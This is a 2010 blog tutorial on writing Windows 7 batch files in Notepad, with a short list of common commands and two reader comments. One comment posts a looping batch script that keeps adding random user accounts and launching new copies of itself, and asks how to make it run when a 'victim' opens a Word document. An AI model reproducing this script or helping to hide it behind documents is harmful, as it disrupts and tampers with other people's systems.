How to create a batch file in Windows 7

Written by: Oliver Krautscheid - Published: Friday, October 1st, 2010 - Comments

Windows 7 Batch File Creating a batch file is super easy and can often help you to finish annoying, repetitive tasks a bit quicker. Here’s a quick guide that teaches you how to create a batch file.

Ads:


1. Step Simply open the notepad (enter notepad into the search field and hit enter)
2. Step Start writing your command line commands (list of commands below)
3. Step Save the file as a .bat file and here’s the clue, select “All files” from the dropdown:

Create a bat file in Windows 7

Writing a batch file is simple if you know basic programming. For example IF and DO can be used in a batch file. Also IF EXIST and COPY are two useful commands.

IF EXIST randomfile.file COPY C:\myfile.txt %APPDIR%/myfile.txt

Command Line Commands

Because there are so many commands, you should check out this: list of commands from A to Z

Some useful commands:
DEL
RENAME
MOVE
IF … DO …
COPY
XCOPY
IPCONFIG
DIR
ATTRIB

Actually, you can use every command that you have ever used in a Windows command prompt and it will magically work in a batch file as well *grin*


Trending On Windows 7 Themes .Net

Related Questions


Written by: Oliver Krautscheid
Oliver is the founder and lead editor of this site. He is interested in finding new ways to break Windows, find common errors and help others to fix them. Aside from that, he loves to fully customize systems with Rainmeter and Dreamscene, find out more about ancient civilizations like the Chachapoya, sharpen his digital photography skills and create software with a small group of selected developers. If you would like to connect with him to discuss anything, send him a mail!

Learn More About.Me

Follow me on Twitter for daily updates: Twitter Follower

Contact The Author: support@windows7themes.net Get Free Help.png

Connect With Our Site:

facebook google twitter


Need help? Ask a question at our QA site, click the red button to get started:

2 Responses to How to create a batch file in Windows 7

  1. Orange Community Approved Comment:
    Lin said:

    What do you do about the “Yes” or “no” ( Y or N) after “Are you sure”? Is that prompt unnecessary in a batch file? (I’m writing a file to recover the reg hives – many copy commands)

  2. Orange Community Approved Comment:
    Josh said:

    Is there any way you can make the .bat file open when someone opens a word document? In the .bat file I made, I typed the following:

    @echo off
    echo
    :add
    net user %random% /add
    start acf.bat
    goto add

    I want this script to open at the same time my victim opens a word document in the same folder. Any help?

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

Current day month ye@r *